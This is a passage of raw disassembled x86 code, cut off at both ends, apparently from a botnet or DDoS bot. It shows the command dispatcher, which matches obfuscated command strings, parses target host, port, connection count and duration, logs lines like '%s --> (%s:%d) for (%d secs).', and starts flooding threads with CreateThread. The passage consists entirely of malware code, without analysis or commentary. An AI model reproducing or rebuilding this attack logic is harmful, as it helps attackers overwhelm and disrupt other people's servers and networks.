aLcgg60qk2mf0 ; "Lcgg60QK2mf0" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_411829: ; CODE XREF: sub_40A9FE+6C1Dj push dword ptr [ebx] push offset aNhr6r0qsk450 ; "nHr6r0qsk450" call edi ; dword_437178 test eax, eax jnz short loc_411840 push offset aLcgg60qk2mf0 ; "Lcgg60QK2mf0" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_411840: ; CODE XREF: sub_40A9FE+6E36j push dword ptr [ebx] push offset aUyfog_dvvny0 ; "UyfOG.DvVnY0" call edi ; dword_437178 test eax, eax jnz loc_411A81 xor edi, edi cmp [ebx+4], edi jz loc_411A77 cmp [ebx+8], edi jz loc_411A77 cmp [ebx+0Ch], edi jz loc_411A77 cmp [ebx+10h], edi jz loc_411A77 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_4118CD loc_411887: ; CODE XREF: sub_40A9FE+70B8j ; sub_40A9FE+7263j ... cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4118B5 cmp [ebp+arg_18], 0 jnz short loc_4118BF push [ebp+arg_C] push ebx push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4118B5: ; CODE XREF: sub_40A9FE+6E97j cmp [ebp+arg_18], 0 jz loc_414995 loc_4118BF: ; CODE XREF: sub_40A9FE+6E9Dj push [ebp+arg_C] push ebx loc_4118C3: ; CODE XREF: sub_40A9FE+705Ej push offset aYhzck13caog0 ; "YhzCK13CaOG0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_4118CD: ; CODE XREF: sub_40A9FE+6E87j mov eax, [ebp+arg_14] mov [ebp+var_13A8], eax mov eax, [ebp+arg_18] mov [ebp+var_13AC], eax cmp eax, edi lea eax, [ebp+var_14C4] jnz short loc_4118EE push dword ptr [esi+0Ch] jmp short loc_4118F0 ; --------------------------------------------------------------------------- loc_4118EE: ; CODE XREF: sub_40A9FE+6EE9j push dword ptr [esi] loc_4118F0: ; CODE XREF: sub_40A9FE+6EEEj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_14CC], eax push dword ptr [ebx+4] lea eax, [ebp+var_1444] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_13B8], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_13B4], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_13BC], eax jge short loc_41194D loc_411943: ; CODE XREF: sub_40A9FE+7132j ; sub_40A9FE+72DDj mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" jmp loc_413D77 ; --------------------------------------------------------------------------- loc_41194D: ; CODE XREF: sub_40A9FE+6F43j cmp [ebp+arg_14], 0 mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." jnz short loc_411989 cmp [ebp+arg_18], 0 jnz short loc_41198F push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_411989: ; CODE XREF: sub_40A9FE+6F58j cmp [ebp+arg_18], 0 jz short loc_4119B9 loc_41198F: ; CODE XREF: sub_40A9FE+6F5Ej push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_4119B9: ; CODE XREF: sub_40A9FE+6F8Fj push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_13B0], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_14CC] push edi push eax push offset sub_41DB6B push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_13B0] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_411A69 loc_411A17: ; CODE XREF: sub_40A9FE+7200j ; sub_40A9FE+73ABj ... cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_411A4A cmp [ebp+arg_18], 0 jnz short loc_411A54 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_411A4A: ; CODE XREF: sub_40A9FE+7028j cmp [ebp+arg_18], 0 jz loc_414995 loc_411A54: ; CODE XREF: sub_40A9FE+702Ej call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_4118C3 ; --------------------------------------------------------------------------- loc_411A61: ; CODE XREF: sub_40A9FE+7072j push 32h call dword_437190 ; Sleep loc_411A69: ; CODE XREF: sub_40A9FE+7017j cmp [ebp+var_13A0], 0 jz short loc_411A61 jmp loc_414995 ; --------------------------------------------------------------------------- loc_411A77: ; CODE XREF: sub_40A9FE+6E58j ; sub_40A9FE+6E61j ... mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_411A81: ; CODE XREF: sub_40A9FE+6E4Dj push dword ptr [ebx] push offset aPsern1aagh6_ ; "pSern1AAGh6." call edi ; dword_437178 test eax, eax jnz loc_411C1C xor edi, edi cmp [ebx+4], edi jz short loc_411A77 cmp [ebx+8], edi jz short loc_411A77 cmp [ebx+0Ch], edi jz short loc_411A77 cmp [ebx+10h], edi jz short loc_411A77 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jg loc_411887 mov eax, [ebp+arg_14] mov [ebp+var_1608], eax mov eax, [ebp+arg_18] mov [ebp+var_160C], eax cmp eax, edi lea eax, [ebp+var_1724] jnz short loc_411ADD push dword ptr [esi+0Ch] jmp short loc_411ADF ; --------------------------------------------------------------------------- loc_411ADD: ; CODE XREF: sub_40A9FE+70D8j push dword ptr [esi] loc_411ADF: ; CODE XREF: sub_40A9FE+70DDj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_172C], eax push dword ptr [ebx+4] lea eax, [ebp+var_16A4] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1618], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_1614], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_161C], eax jl loc_411943 cmp [ebp+arg_14], 0 mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." jnz short loc_411B72 cmp [ebp+arg_18], 0 jnz short loc_411B78 push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_411B72: ; CODE XREF: sub_40A9FE+7141j cmp [ebp+arg_18], 0 jz short loc_411BA2 loc_411B78: ; CODE XREF: sub_40A9FE+7147j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_411BA2: ; CODE XREF: sub_40A9FE+7178j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1610], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_172C] push edi push eax push offset sub_41DD09 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1610] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_411A17 jmp short loc_411C0E ; --------------------------------------------------------------------------- loc_411C06: ; CODE XREF: sub_40A9FE+7217j push 32h call dword_437190 ; Sleep loc_411C0E: ; CODE XREF: sub_40A9FE+7206j cmp [ebp+var_1600], 0 jz short loc_411C06 jmp loc_414995 ; --------------------------------------------------------------------------- loc_411C1C: ; CODE XREF: sub_40A9FE+708Ej push dword ptr [ebx] push offset aXkg84_cesgs_ ; "XkG84.cESgs." call edi ; dword_437178 test eax, eax jnz loc_411DC7 xor edi, edi cmp [ebx+4], edi jz loc_411A77 cmp [ebx+8], edi jz loc_411A77 cmp [ebx+0Ch], edi jz loc_411A77 cmp [ebx+10h], edi jz loc_411A77 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jg loc_411887 mov eax, [ebp+arg_14] mov [ebp+var_14D8], eax mov eax, [ebp+arg_18] mov [ebp+var_14DC], eax cmp eax, edi lea eax, [ebp+var_15F4] jnz short loc_411C88 push dword ptr [esi+0Ch] jmp short loc_411C8A ; --------------------------------------------------------------------------- loc_411C88: ; CODE XREF: sub_40A9FE+7283j push dword ptr [esi] loc_411C8A: ; CODE XREF: sub_40A9FE+7288j push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_15FC], eax push dword ptr [ebx+4] lea eax, [ebp+var_1574] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_14E8], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_14E4], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_14EC], eax jl loc_411943 cmp [ebp+arg_14], 0 mov edi, offset aSSDForDSecs_ ; "%s --> (%s:%d) for (%d secs)." jnz short loc_411D1D cmp [ebp+arg_18], 0 jnz short loc_411D23 push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_411D1D: ; CODE XREF: sub_40A9FE+72ECj cmp [ebp+arg_18], 0 jz short loc_411D4D loc_411D23: ; CODE XREF: sub_40A9FE+72F2j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_411D4D: ; CODE XREF: sub_40A9FE+7323j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aYhzck13caog0 ; "YhzCK13CaOG0" push edi push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_14E0], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_15FC] push edi push eax push offset sub_41DE6E push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_14E0] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_411A17 jmp short loc_411DB9 ; --------------------------------------------------------------------------- loc_411DB1: ; CODE XREF: sub_40A9FE+73C2j push 32h call dword_437190 ; Sleep loc_411DB9: ; CODE XREF: sub_40A9FE+73B1j cmp [ebp+var_14D0], 0 jz short loc_411DB1 jmp loc_414995 ; --------------------------------------------------------------------------- loc_411DC7: ; CODE XREF: sub_40A9FE+7229j push dword ptr [ebx] push offset aP06vqBfbmo_ ; "p06vq/BFBMo." call edi ; dword_437178 test eax, eax jnz loc_411F3A xor edi, edi cmp [ebx+4], edi jz loc_411A77 cmp [ebx+8], edi jz loc_411A77 cmp [ebx+0Ch], edi jz loc_411A77 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jg loc_411887 mov eax, [ebp+arg_14] mov [ebp+var_1C20], eax mov eax, [ebp+arg_18] mov [ebp+var_1C24], eax cmp eax, edi lea eax, [ebp+var_1D3C] jnz short loc_411E2A push dword ptr [esi+0Ch] jmp short loc_411E2C ; --------------------------------------------------------------------------- loc_411E2A: ; CODE XREF: sub_40A9FE+7425j push dword ptr [esi] loc_411E2C: ; CODE XREF: sub_40A9FE+742Aj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1D44], eax push dword ptr [ebx+4] lea eax, [ebp+var_1CBC] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1C2C], eax push dword ptr [ebx+0Ch] call sub_42A100 add esp, 14h cmp eax, 1 mov [ebp+var_1C34], eax mov edi, offset aYhzck13caog0 ; "YhzCK13CaOG0" jl loc_413D77 cmp [ebp+arg_14], 0 jnz short loc_411EA6 cmp [ebp+arg_18], 0 jnz short loc_411EAC push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)." push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_411EA6: ; CODE XREF: sub_40A9FE+7480j cmp [ebp+arg_18], 0 jz short loc_411ECB loc_411EAC: ; CODE XREF: sub_40A9FE+7486j push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)." push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_411ECB: ; CODE XREF: sub_40A9FE+74ACj push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSForDSecs_ ; "%s --> (%s) for (%d secs)." push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1C28], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1D44] push edi push eax push offset sub_41E242 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1C28] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jz loc_411A17 jmp short loc_411F2C ; --------------------------------------------------------------------------- loc_411F24: ; CODE XREF: sub_40A9FE+7535j push 32h call dword_437190 ; Sleep loc_411F2C: ; CODE XREF: sub_40A9FE+7524j cmp [ebp+var_1C18], 0 jz short loc_411F24 jmp loc_414995 ; --------------------------------------------------------------------------- loc_411F3A: ; CODE XREF: sub_40A9FE+73D4j push dword ptr [ebx] push offset a3vvsv1vurua ; "3VVsV1VuRUA/" call edi ; dword_437178 test eax, eax jnz short loc_411F51 push offset aYhzck13caog0 ; "YhzCK13CaOG0" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_411F51: ; CODE XREF: sub_40A9FE+7547j push dword ptr [ebx] push offset aImvbw1shwxq0 ; "iMvbW1SHwxQ0" call edi ; dword_437178 test eax, eax jnz loc_412169 xor edi, edi cmp [ebx+4], edi jz loc_41215F cmp [ebx+8], edi jz loc_41215F cmp [ebx+0Ch], edi jz loc_41215F cmp [ebx+10h], edi jz loc_41215F push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_411FDC cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_411FC4 cmp [ebp+arg_18], 0 jnz short loc_411FCE push eax push ebx push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_411FC4: ; CODE XREF: sub_40A9FE+75A8j cmp [ebp+arg_18], 0 jz loc_414995 loc_411FCE: ; CODE XREF: sub_40A9FE+75AEj push [ebp+arg_C] push ebx loc_411FD2: ; CODE XREF: sub_40A9FE+7746j push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" jmp loc_41491C ; --------------------------------------------------------------------------- loc_411FDC: ; CODE XREF: sub_40A9FE+7598j mov eax, [ebp+arg_14] mov [ebp+var_1040], eax mov eax, [ebp+arg_18] mov [ebp+var_1044], eax cmp eax, edi lea eax, [ebp+var_10D4] jnz short loc_411FFD push dword ptr [esi+0Ch] jmp short loc_411FFF ; --------------------------------------------------------------------------- loc_411FFD: ; CODE XREF: sub_40A9FE+75F8j push dword ptr [esi] loc_411FFF: ; CODE XREF: sub_40A9FE+75FDj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1158], eax push dword ptr [ebx+4] lea eax, [ebp+var_1154] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1050], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_1048], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_104C], eax mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0" jl loc_413D77 cmp [ebp+arg_14], 0 jnz short loc_412087 cmp [ebp+arg_18], 0 jnz short loc_41208D push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSD_1 ; "%s --> (%s:%d)" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_412087: ; CODE XREF: sub_40A9FE+7661j cmp [ebp+arg_18], 0 jz short loc_4120AC loc_41208D: ; CODE XREF: sub_40A9FE+7667j push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSD_1 ; "%s --> (%s:%d)" push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_4120AC: ; CODE XREF: sub_40A9FE+768Dj push dword ptr [ebx+8] call sub_42A100 push eax push dword ptr [ebx+4] push edi push offset aSSD_1 ; "%s --> (%s:%d)" push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1054], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1158] push edi push eax push offset sub_41EC9D push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1054] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_412151 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_412132 cmp [ebp+arg_18], 0 jnz short loc_41213C call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412132: ; CODE XREF: sub_40A9FE+7710j cmp [ebp+arg_18], 0 jz loc_414995 loc_41213C: ; CODE XREF: sub_40A9FE+7716j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_411FD2 ; --------------------------------------------------------------------------- loc_412149: ; CODE XREF: sub_40A9FE+775Aj push 32h call dword_437190 ; Sleep loc_412151: ; CODE XREF: sub_40A9FE+76FFj cmp [ebp+var_103C], 0 jz short loc_412149 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41215F: ; CODE XREF: sub_40A9FE+7569j ; sub_40A9FE+7572j ... mov edi, offset aAxauo_rlggx0 ; "aXauo.rLGgX0" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_412169: ; CODE XREF: sub_40A9FE+755Ej push dword ptr [ebx] push offset a4h4m_q_guy_ ; "4h4m/.Q.GUy." call edi ; dword_437178 test eax, eax jnz short loc_412180 push offset aAxauo_rlggx0 ; "aXauo.rLGgX0" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_412180: ; CODE XREF: sub_40A9FE+7776j push dword ptr [ebx] push offset aX_62c_3ldcp ; "X.62C.3LDCP/" call edi ; dword_437178 test eax, eax jnz loc_4123B9 xor edi, edi cmp [ebx+4], edi jz loc_4123AF cmp [ebx+8], edi jz loc_4123AF cmp [ebx+0Ch], edi jz loc_4123AF cmp [ebx+10h], edi jz loc_4123AF push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jle short loc_41220B cmp [ebp+arg_14], 0 mov ebx, offset aJqrlpUxr08Qqdu ; "JQrlp/UXr08/qqduw/ZeDHN/N/Wda.tYScO0znN"... mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_4121F3 cmp [ebp+arg_18], 0 jnz short loc_4121FD push eax push ebx push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_4121F3: ; CODE XREF: sub_40A9FE+77D7j cmp [ebp+arg_18], 0 jz loc_414995 loc_4121FD: ; CODE XREF: sub_40A9FE+77DDj push [ebp+arg_C] push ebx loc_412201: ; CODE XREF: sub_40A9FE+7996j push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" jmp loc_41491C ; --------------------------------------------------------------------------- loc_41220B: ; CODE XREF: sub_40A9FE+77C7j mov eax, [ebp+arg_14] mov [ebp+var_1284], eax mov eax, [ebp+arg_18] mov [ebp+var_1288], eax cmp eax, edi lea eax, [ebp+var_1318] jnz short loc_41222C push dword ptr [esi+0Ch] jmp short loc_41222E ; --------------------------------------------------------------------------- loc_41222C: ; CODE XREF: sub_40A9FE+7827j push dword ptr [esi] loc_41222E: ; CODE XREF: sub_40A9FE+782Cj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_139C], eax push dword ptr [ebx+4] lea eax, [ebp+var_1398] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_1294], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_1290], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 18h cmp eax, 1 mov [ebp+var_128C], eax mov edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" jl loc_413D77 cmp [ebp+arg_14], 0 jnz short loc_4122C1 cmp [ebp+arg_18], 0 jnz short loc_4122C7 push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's" push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 1Ch loc_4122C1: ; CODE XREF: sub_40A9FE+7890j cmp [ebp+arg_18], 0 jz short loc_4122F1 loc_4122C7: ; CODE XREF: sub_40A9FE+7896j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSDForDSecS ; "%s --> (%s:%d) for %d sec's" push dword ptr [esi] push [ebp+arg_10] call sub_41CDD4 add esp, 1Ch loc_4122F1: ; CODE XREF: sub_40A9FE+78C7j push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push edi push offset aSSForDSecS ; "%s --> (%s) for %d sec's" push 0Dh call sub_4234A7 add esp, 18h mov [ebp+var_1298], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_139C] push edi push eax push offset sub_422A88 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_1298] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_4123A1 cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_412382 cmp [ebp+arg_18], 0 jnz short loc_41238C call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412382: ; CODE XREF: sub_40A9FE+7960j cmp [ebp+arg_18], 0 jz loc_414995 loc_41238C: ; CODE XREF: sub_40A9FE+7966j call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... jmp loc_412201 ; --------------------------------------------------------------------------- loc_412399: ; CODE XREF: sub_40A9FE+79AAj push 32h call dword_437190 ; Sleep loc_4123A1: ; CODE XREF: sub_40A9FE+794Fj cmp [ebp+var_127C], 0 jz short loc_412399 jmp loc_414995 ; --------------------------------------------------------------------------- loc_4123AF: ; CODE XREF: sub_40A9FE+7798j ; sub_40A9FE+77A1j ... mov edi, offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" jmp loc_40BF10 ; --------------------------------------------------------------------------- loc_4123B9: ; CODE XREF: sub_40A9FE+778Dj push dword ptr [ebx] push offset aWt4rnWgl6v_ ; "wt4Rn/WGL6V." call edi ; dword_437178 test eax, eax jnz short loc_4123D0 push offset aXwzwo1pqcgt16n ; "XWzwO1PqcgT16N5aw.affEY1" jmp loc_4128A9 ; --------------------------------------------------------------------------- loc_4123D0: ; CODE XREF: sub_40A9FE+79C6j push dword ptr [ebx] push offset aW1w2v121jsp_ ; "w1w2V121JSP." call edi ; dword_437178 test eax, eax jnz loc_41255A cmp [ebx+4], eax jz loc_412691 cmp [ebx+8], eax jz loc_412691 cmp [ebx+0Ch], eax jz loc_412691 cmp [ebx+10h], eax jz loc_412691 push 0Dh call sub_423800 cmp eax, 32h pop ecx mov [ebp+arg_C], eax jg loc_4125A7 mov edi, [ebp+arg_18] lea eax, [ebp+var_FB4] test edi, edi jnz short loc_41242B push dword ptr [esi+0Ch] jmp short loc_41242D ; --------------------------------------------------------------------------- loc_41242B: ; CODE XREF: sub_40A9FE+7A26j push dword ptr [esi] loc_41242D: ; CODE XREF: sub_40A9FE+7A2Bj push eax call dword_4370B4 ; lstrcpyA mov eax, [ebp+arg_10] push 7Fh mov [ebp+var_1038], eax push dword ptr [ebx+4] lea eax, [ebp+var_1034] push eax call sub_429D10 push dword ptr [ebx+8] call sub_42A100 mov [ebp+var_F34], eax push dword ptr [ebx+0Ch] call sub_42A100 mov [ebp+var_F30], eax push dword ptr [ebx+10h] call sub_42A100 mov [ebp+var_F2C], eax mov eax, [ebp+arg_14] mov [ebp+var_F24], edi mov [ebp+var_F20], eax push dword ptr [ebx+10h] call sub_42A100 add esp, 1Ch push eax push dword ptr [ebx+0Ch] call sub_42A100 pop ecx push eax push dword ptr [ebx+8] call sub_42A100 pop ecx push eax push dword ptr [ebx+4] push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." push offset aSSDWithDConnSF ; "%s --> (%s:%d) with %d conn's for %d se"... push 0Dh call sub_4234A7 add esp, 1Ch mov [ebp+var_F28], eax lea eax, [ebp+arg_0] xor edi, edi push eax lea eax, [ebp+var_1038] push edi push eax push offset sub_418AD3 push edi push edi call dword_437180 ; CreateThread mov ecx, [ebp+var_F28] imul ecx, 2724h cmp eax, edi mov dword_46D72C[ecx], eax jnz short loc_41254C loc_4124F5: ; CODE XREF: sub_40A9FE+7C75j cmp [ebp+arg_14], 0 mov ebx, dword_437170 mov edi, offset aSSD_ ; "%s %s (%d)." jnz short loc_412528 cmp [ebp+arg_18], 0 jnz short loc_412532 call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." push edi push dword ptr [esi+0Ch] push [ebp+arg_10] call sub_41CE4A add esp, 18h loc_412528: ; CODE XREF: sub_40A9FE+7B06j cmp [ebp+arg_18], 0 jz loc_414995 loc_412532: ; CODE XREF: sub_40A9FE+7B0Cj call ebx ; dword_437170 push eax push offset a4ezrg1ye5hp1au ; "4Ezrg1ye5hp1AUz6N/Zzkas/bbUvL0k.zqt1cpO"... push offset aVfeso_qcgdt_ ; "vfEsO.QcgDt." jmp loc_41491C ; --------------------------------------------------------------------------- loc_412544: ; CODE XREF: sub_40A9FE+7B55j push 32h call dword_437190 ; Sleep loc_41254C: ; CODE XREF: sub_40A9FE+7AF5j cmp [ebp+var_F1C], 0 jz short loc_412544 jmp loc_414995 ; --------------------------------------------------------------------------- loc_41255A: ; CODE XREF: sub_40A9FE+79DDj push dword ptr [ebx] push offset aVz62d1m0yya ; "Vz62d1m0Yya/" call edi ; dword_437178 test eax, eax jz loc_4126DE push dword ptr [ebx] push offset aF4c9z1ubcg80 ; "F4c9z1UBCg80" call edi ; dword_437178 test eax, eax jnz loc_4126D1 cmp [ebx+4], eax jz loc_412691 cmp [ebx+8], eax jz loc_412691 cmp [ebx+0Ch], 